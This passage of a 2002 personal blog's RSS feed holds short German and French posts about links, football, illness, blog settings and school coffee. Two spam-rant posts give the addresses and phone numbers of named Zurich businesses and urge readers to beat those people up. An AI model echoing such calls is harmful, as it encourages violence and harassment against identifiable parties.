  17450.    <description><![CDATA[Wer Informationen in den Fächern Deutsch oder Geschichte sucht, wird auf der <a href="https://web.archive.org/web/20021026155134/http://mypage.bluewin.ch/Looser.Roman/"><b>Website von Roman Looser</b></a> bestimmt fündig.<br><br>Das Zeugs wär ja eigentlich vor allem für Lehrer bestimmt, aber wenn man's auf Internet stellt, muss man damit rechnen, dass es die Schüler finden ;-)
  17451. ]]></description>
  17452.    <content:encoded><![CDATA[Wer Informationen in den Fächern Deutsch oder Geschichte sucht, wird auf der <a href="https://web.archive.org/web/20021026155134/http://mypage.bluewin.ch/Looser.Roman/"><b>Website von Roman Looser</b></a> bestimmt fündig.<br><br>Das Zeugs wär ja eigentlich vor allem für Lehrer bestimmt, aber wenn man's auf Internet stellt, muss man damit rechnen, dass es die Schüler finden ;-)
  17453. ]]></content:encoded>
  17454.  </item>
  17455.  
  17456.  <item>
  17457.    <title>Basel - Liverpool</title>
  17458.    <link>https://blog.x-way.org/Misc/2002/11/12/Basel_-_Liverpool.html</link>
  17459.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=165</guid>
  17460.    <dc:creator>Andreas Jaggi</dc:creator>
  17461.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17462.    <pubDate>Tue, 12 Nov 2002 21:45:00 +0100</pubDate>
  17463.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17464.    <description><![CDATA[Für alle 'normalen' Leute:<br>Heute spielt der FC Basel in der Championsleague gegen den FC Liverpool.<br>'Dramatik' der Situation: Ein Sieg Basels würde Liverpool von der weiteren Championsleague ausschliessen, ein Sieg Liverpools dasselbe mit Basel.<br>Aktueller Stand (nach 1. Halbzeit):<br><b>3 : 0</b> für den FC Basel<br><br>Ein besonderer Gruss hierbei an meine Freunde vor der 'Grossleinwand' im Chemiezimmer. Prost!
  17465. ]]></description>
  17466.    <content:encoded><![CDATA[Für alle 'normalen' Leute:<br>Heute spielt der FC Basel in der Championsleague gegen den FC Liverpool.<br>'Dramatik' der Situation: Ein Sieg Basels würde Liverpool von der weiteren Championsleague ausschliessen, ein Sieg Liverpools dasselbe mit Basel.<br>Aktueller Stand (nach 1. Halbzeit):<br><b>3 : 0</b> für den FC Basel<br><br>Ein besonderer Gruss hierbei an meine Freunde vor der 'Grossleinwand' im Chemiezimmer. Prost!
  17467. ]]></content:encoded>
  17468.  </item>
  17469.  
  17470.  <item>
  17471.    <title>francoblogs</title>
  17472.    <link>https://blog.x-way.org/Misc/2002/11/11/francoblogs.html</link>
  17473.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=164</guid>
  17474.    <dc:creator>Andreas Jaggi</dc:creator>
  17475.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17476.    <pubDate>Mon, 11 Nov 2002 23:40:00 +0100</pubDate>
  17477.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17478.    <description><![CDATA[en blog <a href="http://www.garoo.net/"><b>garoo.net</b></a> on trouve aussi des logiciels. p.ex. une horloge transparente.<br>
  17479. <a href="https://web.archive.org/web/20021125162413/http://www.asa.fr.st/"><b>Geek Grrl</b></a> est le blog d'une femme ordinateuse ;-)<br>
  17480. et le <a href="https://web.archive.org/web/20021112084230/http://bingirl.free.fr/"><b>bingirl</b></a> est 'Pretty on the inside'
  17481. ]]></description>
  17482.    <content:encoded><![CDATA[en blog <a href="http://www.garoo.net/"><b>garoo.net</b></a> on trouve aussi des logiciels. p.ex. une horloge transparente.<br>
  17483. <a href="https://web.archive.org/web/20021125162413/http://www.asa.fr.st/"><b>Geek Grrl</b></a> est le blog d'une femme ordinateuse ;-)<br>
  17484. et le <a href="https://web.archive.org/web/20021112084230/http://bingirl.free.fr/"><b>bingirl</b></a> est 'Pretty on the inside'
  17485. ]]></content:encoded>
  17486.  </item>
  17487.  
  17488.  <item>
  17489.    <title>Was für die ganz Harten</title>
  17490.    <link>https://blog.x-way.org/Linux/2002/11/11/Was_fuer_die_ganz_Harten.html</link>
  17491.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=163</guid>
  17492.    <dc:creator>Andreas Jaggi</dc:creator>
  17493.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17494.    <pubDate>Mon, 11 Nov 2002 22:08:00 +0100</pubDate>
  17495.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  17496.    <description><![CDATA[Für die wirklich Harten, wird <a href="https://web.archive.org/web/20021124000224/http://rootforum.de"><b>rootforum.de</b></a> schon bekannt sein.<br><br>Für alle anderen Harten, gibts <a href="https://web.archive.org/web/20021124013659/http://www.everythinglinux.com.au"><b>hier</b></a> harte Sachen wie z.B. dieses <a href="https://web.archive.org/web/20021120202846/http://www.everythinglinux.com.au/item/winfreetape"><b>"WINDOWS FREE ZONE"-Absperrband</b></a> ;-)
  17497. ]]></description>
  17498.    <content:encoded><![CDATA[Für die wirklich Harten, wird <a href="https://web.archive.org/web/20021124000224/http://rootforum.de"><b>rootforum.de</b></a> schon bekannt sein.<br><br>Für alle anderen Harten, gibts <a href="https://web.archive.org/web/20021124013659/http://www.everythinglinux.com.au"><b>hier</b></a> harte Sachen wie z.B. dieses <a href="https://web.archive.org/web/20021120202846/http://www.everythinglinux.com.au/item/winfreetape"><b>"WINDOWS FREE ZONE"-Absperrband</b></a> ;-)
  17499. ]]></content:encoded>
  17500.  </item>
  17501.  
  17502.  <item>
  17503.    <title>Argh</title>
  17504.    <link>https://blog.x-way.org/Misc/2002/11/11/Argh.html</link>
  17505.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=162</guid>
  17506.    <dc:creator>Andreas Jaggi</dc:creator>
  17507.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17508.    <pubDate>Mon, 11 Nov 2002 16:33:00 +0100</pubDate>
  17509.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17510.    <description><![CDATA[Verhaut die blöden Spammer!<br><br>CH - Versandhandel, Albulastrasse 47, 8048 Zürich<br>Telefax: 056 - 610 59 46<br>Bestelltelefon: 056 - 610 59 45<br>SMS: 079 - 232 67 88
  17511. ]]></description>
  17512.    <content:encoded><![CDATA[Verhaut die blöden Spammer!<br><br>CH - Versandhandel, Albulastrasse 47, 8048 Zürich<br>Telefax: 056 - 610 59 46<br>Bestelltelefon: 056 - 610 59 45<br>SMS: 079 - 232 67 88
  17513. ]]></content:encoded>
  17514.  </item>
  17515.  
  17516.  <item>
  17517.    <title>Plongez dans l'accessibilité</title>
  17518.    <link>https://blog.x-way.org/Webdesign/2002/11/10/Plongez_dans_laccessibilite.html</link>
  17519.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=161</guid>
  17520.    <dc:creator>Andreas Jaggi</dc:creator>
  17521.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17522.    <pubDate>Sun, 10 Nov 2002 21:30:00 +0100</pubDate>
  17523.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17524.    <description><![CDATA[<a href="http://www.la-grange.net/accessibilite/"><b>Plongez dans l'accessibilité</b></a> vous guide à faire votre site accessible. Très important!<br>Bon, je sais que mon weblog n'est pas encore accessible, mais je travaille à la vérsion suivante et celle-ci serait vraiment accessible :-)
  17525. ]]></description>
  17526.    <content:encoded><![CDATA[<a href="http://www.la-grange.net/accessibilite/"><b>Plongez dans l'accessibilité</b></a> vous guide à faire votre site accessible. Très important!<br>Bon, je sais que mon weblog n'est pas encore accessible, mais je travaille à la vérsion suivante et celle-ci serait vraiment accessible :-)
  17527. ]]></content:encoded>
  17528.  </item>
  17529.  
  17530.  <item>
  17531.    <title>Literatur kann lustig sein</title>
  17532.    <link>https://blog.x-way.org/Misc/2002/11/10/Literatur_kann_lustig_sein.html</link>
  17533.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=160</guid>
  17534.    <dc:creator>Andreas Jaggi</dc:creator>
  17535.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17536.    <pubDate>Sun, 10 Nov 2002 16:42:00 +0100</pubDate>
  17537.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17538.    <description><![CDATA[<i>"[...], liebt euch wie die Kaninchen und seid glücklich!"</i><br><br>Dieses Zitat stammt aus <a href="https://www.projekt-gutenberg.org/eichndrf/taugen1/taugncht.html"><b>"Aus dem Leben eines Taugenichts"</b></a> von <a href="https://www.projekt-gutenberg.org/autoren/namen/eichndrf.html"><b>Joseph v. Eichendorff</b></a>
  17539. ]]></description>
  17540.    <content:encoded><![CDATA[<i>"[...], liebt euch wie die Kaninchen und seid glücklich!"</i><br><br>Dieses Zitat stammt aus <a href="https://www.projekt-gutenberg.org/eichndrf/taugen1/taugncht.html"><b>"Aus dem Leben eines Taugenichts"</b></a> von <a href="https://www.projekt-gutenberg.org/autoren/namen/eichndrf.html"><b>Joseph v. Eichendorff</b></a>
  17541. ]]></content:encoded>
  17542.  </item>
  17543.  
  17544.  <item>
  17545.    <title>FR_BLOG</title>
  17546.    <link>https://blog.x-way.org/Webdesign/2002/11/10/FR_BLOG.html</link>
  17547.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=159</guid>
  17548.    <dc:creator>Andreas Jaggi</dc:creator>
  17549.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17550.    <pubDate>Sun, 10 Nov 2002 02:40:00 +0100</pubDate>
  17551.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17552.    <description><![CDATA[<a href="https://web.archive.org/web/20021014084326/http://membres.lycos.fr/connecticut/frblog/"><b>FR_BLOG</b></a> c'est une repertoire des weblogs français et francophones.
  17553. ]]></description>
  17554.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021014084326/http://membres.lycos.fr/connecticut/frblog/"><b>FR_BLOG</b></a> c'est une repertoire des weblogs français et francophones.
  17555. ]]></content:encoded>
  17556.  </item>
  17557.  
  17558.  <item>
  17559.    <title>Les standards du W3C</title>
  17560.    <link>https://blog.x-way.org/Webdesign/2002/11/10/Les_standards_du_W3C.html</link>
  17561.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=158</guid>
  17562.    <dc:creator>Andreas Jaggi</dc:creator>
  17563.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17564.    <pubDate>Sun, 10 Nov 2002 02:38:00 +0100</pubDate>
  17565.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17566.    <description><![CDATA[<a href="https://web.archive.org/web/20021201230339/http://www.nitot.com/standards/blog/"><b>Le StandBLog</b></a> traite les standards du <a href="https://www.w3.org/"><b>W3C</b></a>.
  17567. ]]></description>
  17568.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021201230339/http://www.nitot.com/standards/blog/"><b>Le StandBLog</b></a> traite les standards du <a href="https://www.w3.org/"><b>W3C</b></a>.
  17569. ]]></content:encoded>
  17570.  </item>
  17571.  
  17572.  <item>
  17573.    <title>Légalisez-le!</title>
  17574.    <link>https://blog.x-way.org/Misc/2002/11/09/Legalisez-le.html</link>
  17575.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=157</guid>
  17576.    <dc:creator>Andreas Jaggi</dc:creator>
  17577.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17578.    <pubDate>Sat, 09 Nov 2002 23:34:00 +0100</pubDate>
  17579.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17580.    <description><![CDATA[<br><img src="https://blog.x-way.org/images/cannabis_ny.jpg" style="border: 1px solid #000000" alt="chanvre en new york"><br><br>Trouvé dans <a href="http://quimbo.antville.org/"><b>blog de quimbo</b></a>.
  17581. ]]></description>
  17582.    <content:encoded><![CDATA[<br><img src="https://blog.x-way.org/images/cannabis_ny.jpg" style="border: 1px solid #000000" alt="chanvre en new york"><br><br>Trouvé dans <a href="http://quimbo.antville.org/"><b>blog de quimbo</b></a>.
  17583. ]]></content:encoded>
  17584.  </item>
  17585.  
  17586.  <item>
  17587.    <title>Ach menno</title>
  17588.    <link>https://blog.x-way.org/Misc/2002/11/09/Ach_menno.html</link>
  17589.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=156</guid>
  17590.    <dc:creator>Andreas Jaggi</dc:creator>
  17591.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17592.    <pubDate>Sat, 09 Nov 2002 20:34:00 +0100</pubDate>
  17593.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17594.    <description><![CDATA[Nun kommt doch so ein Hoschi mit diesem UA-String:<pre>Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; AT&amp;T WNS5.2)</pre>und schon kann ich mein XML-Logfile nicht mehr ansehen, weils nicht mehr Standardkonform ist :-(
  17595. ]]></description>
  17596.    <content:encoded><![CDATA[Nun kommt doch so ein Hoschi mit diesem UA-String:<pre>Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90; AT&amp;T WNS5.2)</pre>und schon kann ich mein XML-Logfile nicht mehr ansehen, weils nicht mehr Standardkonform ist :-(
  17597. ]]></content:encoded>
  17598.  </item>
  17599.  
  17600.  <item>
  17601.    <title>Nicht interessant ;-)</title>
  17602.    <link>https://blog.x-way.org/Misc/2002/11/09/Nicht_interessant_-.html</link>
  17603.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=155</guid>
  17604.    <dc:creator>Andreas Jaggi</dc:creator>
  17605.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17606.    <pubDate>Sat, 09 Nov 2002 20:31:00 +0100</pubDate>
  17607.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17608.    <description><![CDATA[Heut ist ja der 9.11. und wenn man die Zahlen vertauscht ist der ...
  17609. ]]></description>
  17610.    <content:encoded><![CDATA[Heut ist ja der 9.11. und wenn man die Zahlen vertauscht ist der ...
  17611. ]]></content:encoded>
  17612.  </item>
  17613.  
  17614.  <item>
  17615.    <title>Réglage (!!) --></title>
  17616.    <link>https://blog.x-way.org/Coding/2002/11/09/Reglage__--.html</link>
  17617.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=154</guid>
  17618.    <dc:creator>Andreas Jaggi</dc:creator>
  17619.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17620.    <pubDate>Sat, 09 Nov 2002 18:24:00 +0100</pubDate>
  17621.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17622.    <description><![CDATA[J'ai changé un peu mon système du weblog. Vous pouvez maintenant changer la langue de la navigation et du contenu, le nombre des entrées montrées. Et si vous faites un commentaire, votre nom, votre e-mail et votre website seraient mémorisés.
  17623. ]]></description>
  17624.    <content:encoded><![CDATA[J'ai changé un peu mon système du weblog. Vous pouvez maintenant changer la langue de la navigation et du contenu, le nombre des entrées montrées. Et si vous faites un commentaire, votre nom, votre e-mail et votre website seraient mémorisés.
  17625. ]]></content:encoded>
  17626.  </item>
  17627.  
  17628.  <item>
  17629.    <title>Einstellungen (!!) --></title>
  17630.    <link>https://blog.x-way.org/Coding/2002/11/09/Einstellungen__--.html</link>
  17631.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=153</guid>
  17632.    <dc:creator>Andreas Jaggi</dc:creator>
  17633.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17634.    <pubDate>Sat, 09 Nov 2002 18:19:00 +0100</pubDate>
  17635.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17636.    <description><![CDATA[ich hab noch mal ein bisschen gebastelt. Rausgekommen ist, dass man nun unter <b>Einstellungen</b> einstellen kann, in welcher Sprache die Navigation erscheinen soll, in welcher Sprache die Inhalte erscheinen sollen und wieviele Einträge auf der Startseite angezeigt werden.<br>Desweiteren werden nun Name, E-Mail und Website beim kommentieren gespeichert.<br>All das funktioniert via ein Cookie, daher bitte aktivieren, wer davon Gebrauch machen möchte.
  17637. ]]></description>
  17638.    <content:encoded><![CDATA[ich hab noch mal ein bisschen gebastelt. Rausgekommen ist, dass man nun unter <b>Einstellungen</b> einstellen kann, in welcher Sprache die Navigation erscheinen soll, in welcher Sprache die Inhalte erscheinen sollen und wieviele Einträge auf der Startseite angezeigt werden.<br>Desweiteren werden nun Name, E-Mail und Website beim kommentieren gespeichert.<br>All das funktioniert via ein Cookie, daher bitte aktivieren, wer davon Gebrauch machen möchte.
  17639. ]]></content:encoded>
  17640.  </item>
  17641.  
  17642.  <item>
  17643.    <title>Blanc</title>
  17644.    <link>https://blog.x-way.org/Misc/2002/11/09/Blanc.html</link>
  17645.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=152</guid>
  17646.    <dc:creator>Andreas Jaggi</dc:creator>
  17647.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17648.    <pubDate>Sat, 09 Nov 2002 13:56:00 +0100</pubDate>
  17649.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17650.    <description><![CDATA[Il y a de la neige!<br>Il fait très froid et je pense que je ne suis pas encore guéri totelement de la grippe.
  17651. ]]></description>
  17652.    <content:encoded><![CDATA[Il y a de la neige!<br>Il fait très froid et je pense que je ne suis pas encore guéri totelement de la grippe.
  17653. ]]></content:encoded>
  17654.  </item>
  17655.  
  17656.  <item>
  17657.    <title>wb</title>
  17658.    <link>https://blog.x-way.org/Misc/2002/11/07/wb.html</link>
  17659.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=151</guid>
  17660.    <dc:creator>Andreas Jaggi</dc:creator>
  17661.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17662.    <pubDate>Thu, 07 Nov 2002 23:49:00 +0100</pubDate>
  17663.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17664.    <description><![CDATA[Mir gehts wieder besser. Mit dem Schulaufsuchen hats heute auch geklappt ;-)<br><br><a href="http://www.schockwellenreiter.de/"><b>Der Schockwellenreiter</b></a> hat eine neue Programmiersprache <a href="http://www.schockwellenreiter.de/2002/11/07.html#a8997"><b>entdeckt</b></a>: <a href="http://w3future.com/weblog/2002/11/07.html#a139"><b>Loell</b></a>.<br>Nicht zu vergessen, dass Löl auf Schweizerdeutsch etwa soviel wie Idiot heisst ;-P
  17665. ]]></description>
  17666.    <content:encoded><![CDATA[Mir gehts wieder besser. Mit dem Schulaufsuchen hats heute auch geklappt ;-)<br><br><a href="http://www.schockwellenreiter.de/"><b>Der Schockwellenreiter</b></a> hat eine neue Programmiersprache <a href="http://www.schockwellenreiter.de/2002/11/07.html#a8997"><b>entdeckt</b></a>: <a href="http://w3future.com/weblog/2002/11/07.html#a139"><b>Loell</b></a>.<br>Nicht zu vergessen, dass Löl auf Schweizerdeutsch etwa soviel wie Idiot heisst ;-P
  17667. ]]></content:encoded>
  17668.  </item>
  17669.  
  17670.  <item>
  17671.    <title>Krank ist krank</title>
  17672.    <link>https://blog.x-way.org/Misc/2002/11/06/Krank_ist_krank.html</link>
  17673.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=150</guid>
  17674.    <dc:creator>Andreas Jaggi</dc:creator>
  17675.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17676.    <pubDate>Wed, 06 Nov 2002 12:00:00 +0100</pubDate>
  17677.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17678.    <description><![CDATA[Bin doch nicht in die Schule gegangen, da mein Fieber wieder auf fast 39° gestiegen ist :-(
  17679. ]]></description>
  17680.    <content:encoded><![CDATA[Bin doch nicht in die Schule gegangen, da mein Fieber wieder auf fast 39° gestiegen ist :-(
  17681. ]]></content:encoded>
  17682.  </item>
  17683.  
  17684.  <item>
  17685.    <title>Darniederliegend</title>
  17686.    <link>https://blog.x-way.org/Misc/2002/11/05/Darniederliegend.html</link>
  17687.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=149</guid>
  17688.    <dc:creator>Andreas Jaggi</dc:creator>
  17689.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17690.    <pubDate>Tue, 05 Nov 2002 16:53:00 +0100</pubDate>
  17691.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17692.    <description><![CDATA[Die Grippe oder was auch immer das war, hatte mich erwischt. Aber jetzt scheints wieder besser zu gehen. Morgen gehe ich auch wieder in die Schule, andere Leute anstecken. *hehe*
  17693. ]]></description>
  17694.    <content:encoded><![CDATA[Die Grippe oder was auch immer das war, hatte mich erwischt. Aber jetzt scheints wieder besser zu gehen. Morgen gehe ich auch wieder in die Schule, andere Leute anstecken. *hehe*
  17695. ]]></content:encoded>
  17696.  </item>
  17697.  
  17698.  <item>
  17699.    <title>Arcachon</title>
  17700.    <link>https://blog.x-way.org/Misc/2002/11/02/Arcachon.html</link>
  17701.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=148</guid>
  17702.    <dc:creator>Andreas Jaggi</dc:creator>
  17703.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17704.    <pubDate>Sat, 02 Nov 2002 23:18:00 +0100</pubDate>
  17705.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17706.    <description><![CDATA[Quand il pleut tout le jour comme aujourd'hui, j'aimerais être <a href="http://www.arcachon.com/"><b>là</b></a>.
  17707. ]]></description>
  17708.    <content:encoded><![CDATA[Quand il pleut tout le jour comme aujourd'hui, j'aimerais être <a href="http://www.arcachon.com/"><b>là</b></a>.
  17709. ]]></content:encoded>
  17710.  </item>
  17711.  
  17712.  <item>
  17713.    <title>SPAM 2. !!!</title>
  17714.    <link>https://blog.x-way.org/Misc/2002/11/02/SPAM_2_.html</link>
  17715.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=147</guid>
  17716.    <dc:creator>Andreas Jaggi</dc:creator>
  17717.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17718.    <pubDate>Sat, 02 Nov 2002 16:59:00 +0100</pubDate>
  17719.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17720.    <description><![CDATA[Wenn wir schon dran sind können wir hier weiterfahren. Ist eben auch noch gerade eine SPAM-Mail gekommen.<br><br>Business Corporation for W+L. AG, Rautistrasse 71, 8048 Zürich
  17721. ]]></description>
  17722.    <content:encoded><![CDATA[Wenn wir schon dran sind können wir hier weiterfahren. Ist eben auch noch gerade eine SPAM-Mail gekommen.<br><br>Business Corporation for W+L. AG, Rautistrasse 71, 8048 Zürich
  17723. ]]></content:encoded>
  17724.  </item>
  17725.  
  17726.  <item>
  17727.    <title>SPAAAAAAAAAAAAAAAAAAM !!!</title>
  17728.    <link>https://blog.x-way.org/Misc/2002/11/02/SPAAAAAAAAAAAAAAAAAAM_.html</link>
  17729.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=146</guid>
  17730.    <dc:creator>Andreas Jaggi</dc:creator>
  17731.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17732.    <pubDate>Sat, 02 Nov 2002 16:56:00 +0100</pubDate>
  17733.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17734.    <description><![CDATA[Könnte mal jemand aus Zürich hier vorbeigehen und denen mal so ganz tüchtig die Fresse verhauen.<br><br>Fürst E-Marketing, Badenerstr. 653, 8048 Zürich,  Fax: (043) 317 02 85
  17735. ]]></description>
  17736.    <content:encoded><![CDATA[Könnte mal jemand aus Zürich hier vorbeigehen und denen mal so ganz tüchtig die Fresse verhauen.<br><br>Fürst E-Marketing, Badenerstr. 653, 8048 Zürich,  Fax: (043) 317 02 85
  17737. ]]></content:encoded>
  17738.  </item>
  17739.  
  17740.  <item>
  17741.    <title>Der richtige Kaffee</title>
  17742.    <link>https://blog.x-way.org/School/2002/11/02/Der_richtige_Kaffee.html</link>
  17743.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=145</guid>
  17744.    <dc:creator>Andreas Jaggi</dc:creator>
  17745.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17746.    <pubDate>Sat, 02 Nov 2002 16:02:00 +0100</pubDate>
  17747.    <category domain="https://blog.x-way.org/School/">School</category>
  17748.    <description><![CDATA[Für alle die beim <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>Gymnasium Thun-Schadau</b></a> den Kaffeeautomat benützen gibt die Anleitung zum superstarken, maximal aufweckenden und sauschlecht schmeckenden Kaffee:<br><br>- 80 Rappen einwerfen<br>- Option "Espresso" wählen (macht nur halb soviel Wasser rein -&gt; doppelt so stark ;-)<br>- den Knopf "Mehr Zucker" drücken, bis das Maximum ausgewählt ist<br>- den Knopf "Aufheller" drücken, bis das Minimum erreicht ist<br>- den Kaffee "Nescafe mit Zucker" auswählen (nicht verwechseln mit "Nescafe" !! ;-)<br><br>- Becher entnehmen und einen Schluck nehmen.<br>Für nicht routinierte Kaffeetrinker gilt: nicht ausspucken, auch wenn es einem den Mund zusammenzieht und nach Abwaschwasser schmeckt ;-P<br>Alle anderen können sich an ihrem aufweckenden Getränk erfreuen ;-)
  17749. ]]></description>
  17750.    <content:encoded><![CDATA[Für alle die beim <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>Gymnasium Thun-Schadau</b></a> den Kaffeeautomat benützen gibt die Anleitung zum superstarken, maximal aufweckenden und sauschlecht schmeckenden Kaffee:<br><br>- 80 Rappen einwerfen<br>- Option "Espresso" wählen (macht nur halb soviel Wasser rein -&gt; doppelt so stark ;-)<br>- den Knopf "Mehr Zucker" drücken, bis das Maximum ausgewählt ist<br>- den Knopf "Aufheller" drücken, bis das Minimum erreicht ist<br>- den Kaffee "Nescafe mit Zucker" auswählen (nicht verwechseln mit "Nescafe" !! ;-)<br><br>- Becher entnehmen und einen Schluck nehmen.<br>Für nicht routinierte Kaffeetrinker gilt: nicht ausspucken, auch wenn es einem den Mund zusammenzieht und nach Abwaschwasser schmeckt ;-P<br>Alle anderen können sich an ihrem aufweckenden Getränk erfreuen ;-)
  17751. ]]></content:encoded>
  17752.  </item>
  17753.  
  17754.  <item>
  17755.    <title>Pour les Gamers</title>
  17756.    <link>https://blog.x-way.org/Tech/2002/11/01/Pour_les_Gamers.html</link>
  17757.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=144</guid>
  17758.    <dc:creator>Andreas Jaggi</dc:creator>
  17759.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17760.    <pubDate>Fri, 01 Nov 2002 16:53:00 +0100</pubDate>
  17761.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  17762.    <description><![CDATA[<a href="https://web.archive.org/web/20021101000000/http://www.firestormpc.com/"><b>Ici</b></a> on trouve un écran panorama ultimatif avec un ordinateur performante.
  17763. ]]></description>
  17764.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021101000000/http://www.firestormpc.com/"><b>Ici</b></a> on trouve un écran panorama ultimatif avec un ordinateur performante.
  17765. ]]></content:encoded>
  17766.  </item>
  17767.  
  17768.  <item>
  17769.    <title>Pochette Surprise</title>
  17770.    <link>https://blog.x-way.org/Misc/2002/11/01/Pochette_Surprise.html</link>
  17771.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=143</guid>
  17772.    <dc:creator>Andreas Jaggi</dc:creator>
  17773.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17774.    <pubDate>Fri, 01 Nov 2002 16:37:00 +0100</pubDate>
  17775.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17776.    <description><![CDATA[<a href="https://web.archive.org/web/20021120013343/http://nplmdth.blogspot.com/"><b>Voilà</b></a> un autre weblog intéressant.
  17777. ]]></description>
  17778.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021120013343/http://nplmdth.blogspot.com/"><b>Voilà</b></a> un autre weblog intéressant.
  17779. ]]></content:encoded>
  17780.  </item>
  17781.  
  17782.  <item>
  17783.    <title>coffee.ch</title>
  17784.    <link>https://blog.x-way.org/Misc/2002/11/01/coffeech.html</link>
  17785.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=142</guid>
  17786.    <dc:creator>Andreas Jaggi</dc:creator>
  17787.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17788.    <pubDate>Fri, 01 Nov 2002 12:53:00 +0100</pubDate>
  17789.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17790.    <description><![CDATA['Heiss wie die Hölle, schwarz wie der Teufel , rein wie ein Engel und süss wie die Liebe' - so muss der Kaffee sein.<br><br>Charles Maurice Talleyrand<br><br><a href="https://web.archive.org/web/20021123162302/http://www.coffee.ch/"><b>coffee.ch</b></a>
  17791. ]]></description>
  17792.    <content:encoded><![CDATA['Heiss wie die Hölle, schwarz wie der Teufel , rein wie ein Engel und süss wie die Liebe' - so muss der Kaffee sein.<br><br>Charles Maurice Talleyrand<br><br><a href="https://web.archive.org/web/20021123162302/http://www.coffee.ch/"><b>coffee.ch</b></a>
